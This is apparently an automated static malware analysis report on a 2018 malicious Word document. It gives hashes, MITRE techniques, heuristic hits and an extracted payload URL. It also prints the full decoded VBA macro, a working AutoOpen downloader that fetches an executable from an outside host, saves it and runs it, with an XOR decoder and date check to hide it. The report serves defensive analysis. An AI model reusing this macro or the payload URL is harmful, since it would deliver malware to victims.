Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0a9b3bee5f2342c0…

MALICIOUS

Office (OOXML)

143.0 KB Created: 2018-02-27 14:28:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2018-10-09
MD5: c35723a82d150d12735f3a03bda391a1 SHA-1: c34587df33fff82006d3b21dd8920c3e49c1a5fe SHA-256: 0a9b3bee5f2342c090fa976981b72e4a93e481ef1cc28c59e9d6c42435ea58f1
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a common technique for malicious documents. The script attempts to download a payload using `CreateObject` and execute it. The reconstructed path for execution is 'a', which is highly suspicious. The AutoOpen macro and CreateObject calls indicate a malicious intent to download and run a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    xurQhnv = maDaiUy
Set tyjlJvB = CreateObject(xurQhnv)
End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
Dim mtkGRwh  As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://pxxporn.com/dvnc.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3157 bytes
SHA-256: 5cbc352477e01190ac11e402266360b59d05decbf7051282bb1f0ba10d97a70d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ttWmdS"
Attribute VB_Base = "0{4A546EFB-BB7E-48D1-AD14-B815848653BD}{08186575-D1FB-4536-8907-49F6C116559F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function gzjpHIn(ByVal bmbXpSU As String)
Dim kETDHVK As Object, rvLJzXZ As Long, vXisgoH() As Byte
Dim dpZyYqW: Set dpZyYqW = tyjlJvB(nByysL.Value)
aqArbxq = obRSAg.Tag
Set kETDHVK = tyjlJvB(obRSAg.Value)
kETDHVK.Open "GET", bmbXpSU, False
kETDHVK.Send
Do While kETDHVK.readyState <> 4
DoEvents
Loop
vXisgoH = kETDHVK.responseBody
rvLJzXZ = FreeFile
Dim uURZGQN As String
uURZGQN = "a"
If Dir(aqArbxq) <> "" Then Kill aqArbxq
uURZGQN = ""
Open aqArbxq For Binary As #rvLJzXZ
Put #rvLJzXZ, , vXisgoH
Close #rvLJzXZ
dpZyYqW.Run Replace(aqArbxq, uURZGQN, ""), 2022 - Year(Date) - 4, Year(Date) = 2018
End Function

Function tBjhOVD(ByVal lmLNhVf As String)
tBjhOVD = Application.Run(lmLNhVf)
End Function



Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "pnfrlq"
Public Function nPbIyOE(ByRef fyFNSNg As String, ByRef wIhTlNi As String) As String
Dim ezYZEQx() As Byte
Dim ibvIKGF() As Byte
Dim yMYOdGH As Long
Dim dOVXJWP As Long
Dim kgnDbyE As Long
Dim bPpJVYG As Long
ezYZEQx = StrConv(fyFNSNg, vbFromUnicode)
ibvIKGF = StrConv(wIhTlNi, vbFromUnicode)
yMYOdGH = UBound(ezYZEQx)
dOVXJWP = UBound(ibvIKGF)
For kgnDbyE = 0 To yMYOdGH
ezYZEQx(kgnDbyE) = ezYZEQx(kgnDbyE) Xor ibvIKGF(bPpJVYG)
If bPpJVYG < dOVXJWP Then
bPpJVYG = bPpJVYG + 1
Else
bPpJVYG = 0
End If
Next kgnDbyE
nPbIyOE = StrConv(ezYZEQx, vbUnicode)
End Function

Sub RemovePicture()

End Sub
Sub LoadText(ByRef Text As String)

End Sub

Public Function tyjlJvB(maDaiUy As String) As Object
Set tyjlJvB = Nothing
Dim xurQhnv As String
xurQhnv = "visual"
If Year(Now) = 2018 Then
xurQhnv = maDaiUy
Set tyjlJvB = CreateObject(xurQhnv)
End If
End Function

Sub AutoOpen()
Dim mtkGRwh  As String
mtkGRwh = ttWmdS.nByysL
Dim lUerDyx As String
RemovePicture
Dim s As Integer
s = 0
For Each secDoc In ActiveDocument.Sections
secDoc.Range.Font.Hidden = False
Next secDoc
Selection.GoTo(wdGoToPage, wdGoToAbsolute, 1).Bookmarks("\Page").Range.Delete
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255)
If Len(Application.UserName) < 100 Then
Dim sVLrM75p1uAHTgR As String
End If
Dim dEHxvYz As Integer
For ggeGboi = 2 To 27
dEHxvYz = ggeGboi
Next ggeGboi
Dim zTxhnhj, rdZmghl As String
zTxhnhj = 2
rdZmghl = 2
#If zTxhnhj > rdZmghl Then
Dim tiltJbb As Object
#Else
Dim tiltJbb As Integer
tiltJbb = 2 + 2
Dim rvhQPiT As Integer
For zNYWhkJ = rvhQPiT To zTxhnhj

Next zNYWhkJ
#End If
lUerDyx = ttWmdS.nByysL.Tag

ttWmdS.gzjpHIn (lUerDyx)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 3b637a3939cf8401b5fa6d2181cde62c2fff7e36d968e313de7642501bb67702

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